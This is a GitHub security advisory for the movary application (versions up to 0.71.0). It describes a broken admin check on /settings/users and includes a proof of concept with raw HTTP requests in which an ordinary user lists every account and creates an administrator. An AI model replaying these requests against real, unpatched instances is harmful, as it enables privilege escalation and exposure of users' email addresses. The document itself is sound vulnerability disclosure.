# Authorization Bypass in movary User Management (/settings/users) Allows Low-Privileged Users to Enumerate All Users and Create Administrator Accounts

High **leepeuker** published **GHSA-7r3f-9fwv-p43w** last week

**Package**

No package listed

**Affected versions**

<= 0.71.0

**Patched versions**

>= 0.71.1

## Description

### Summary

An ordinary authenticated user can access the user-management endpoints `/settings/users` and use them to enumerate all users and create a new administrator account.

This happens because the route definitions do not enforce admin-only middleware, and the controller-level authorization check uses a broken boolean condition. As a result, any user with a valid web session cookie can reach functionality that should be restricted to administrators.

### Details

The affected routes are defined in `settings/routes.php`:

```
$routes->add('GET', '/settings/users', [Web\UserController::class, 'fetchUsers']);
$routes->add('POST', '/settings/users', [Web\UserController::class, 'createUser']);
```

Unlike other server-level settings routes, these two endpoints do not use `UserIsAuthenticated` and `UserIsAdmin` middleware.

Inside `src/HttpController/Web/UserController.php`, the controller tries to restrict access with the following condition:

```
if ($this->authenticationService->isUserAuthenticatedWithCookie() === false
    && $this->authenticationService->getCurrentUser()->isAdmin() === false) {
    return Response::createForbidden();
}
```

The check is incorrect because it uses `&&` instead of `||`. For any authenticated user, `isUserAuthenticatedWithCookie()` returns `true`, so the first operand becomes `false`, and the request is allowed to continue even if the current user is not an administrator.

The impact is significant because:

1. `fetchUsers()` returns every user's `id`, `name`, `email`, and `isAdmin` flag.
2. `createUser()` accepts an attacker-controlled `isAdmin` field and passes it directly into user creation.

The underlying data sinks are:

```
// src/Domain/User/UserRepository.php
public function fetchAll() : array
{
    return $this->dbConnection->fetchAllAssociative(
        'SELECT id, name, email, is_admin as isAdmin FROM `user` ORDER BY id'
    );
}

public function createUser(string $email, string $passwordHash, string $name, bool $isAd
{
    $this->dbConnection->insert(
        'user',
        [
            'email' => $email,
            'password' => $passwordHash,
            'is_admin' => (int)$isAdmin,
            'name' => $name,
        ],
    );
}
```

I reproduced this issue against a Dockerized local instance of `movary-0.71.0`. First I created the initial administrator, then I created a normal user `alice@example.com`, logged in as `alice`, and used that ordinary session to enumerate all users and create a new administrator account.

## PoC

To reproduce:

1. Start the application.
2. Create the initial administrator account.
3. Log in as the administrator and create a normal user, for example `alice@example.com / AliceUser123!`.
4. Log in as `alice` and keep the authenticated cookie.

The login response for `alice` confirms that she is not an administrator:

```
HTTP/1.1 200 OK
Content-Type: application/json

{"authToken":"80cc0a91c8c8d3a0f7ce2457d6c1595f","user":{"id":2,"name":"alice","isAdmin":
```

Use the ordinary user session to enumerate all users:

```
GET /settings/users HTTP/1.1
Host: 127.0.0.1:18089
Cookie: id={alice_cookie}; PHPSESSID={alice_session}
Accept: application/json
```

Response:

```
HTTP/1.1 200 OK
Content-Type: application/json

[{"id":1,"name":"admin","email":"admin@example.com","isAdmin":1},{"id":2,"name":"alice",
```

Then use the same ordinary user session to create a new administrator:

```
POST /settings/users HTTP/1.1
Host: 127.0.0.1:18089
Cookie: id={alice_cookie}; PHPSESSID={alice_session}
Content-Type: application/json

{"email":"eve-admin@example.com","password":"EveAdmin123!","name":"eveadmin","isAdmin":t
```

Response:

```
HTTP/1.1 200 OK
```

To verify that the new account is actually an administrator, log in with the newly created credentials:

```
POST /api/authentication/token HTTP/1.1
Host: 127.0.0.1:18089
```

```
X-Movary-Client: Movary Web
Content-Type: application/json

{"email":"eve-admin@example.com","password":"EveAdmin123!","rememberMe":true}
```

Response:

```
HTTP/1.1 200 OK
Content-Type: application/json

{"authToken":"198df78243958d15fd01f3d7e4660b0b","user":{"id":3,"name":"eveadmin","isAdmi
```

## Impact

Any ordinary authenticated user can:

1. Enumerate all users, including their email addresses and administrative status.
2. Create arbitrary new accounts with administrative privileges.

This leads to a full privilege escalation from a normal user account to administrator and breaks both confidentiality and integrity of the application.

**Severity**

High 8.8 / 10

**CVSS v3 base metrics**

| | |
|---|---|
| Attack vector | Network |
| Attack complexity | Low |
| Privileges required | Low |
| User interaction | None |
| Scope | Unchanged |
| Confidentiality | High |
| Integrity | High |
| Availability | High |

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CVE ID**

CVE-2026-40350

### Weaknesses

▶ CWE-863

### Credits

**kitu232** Reporter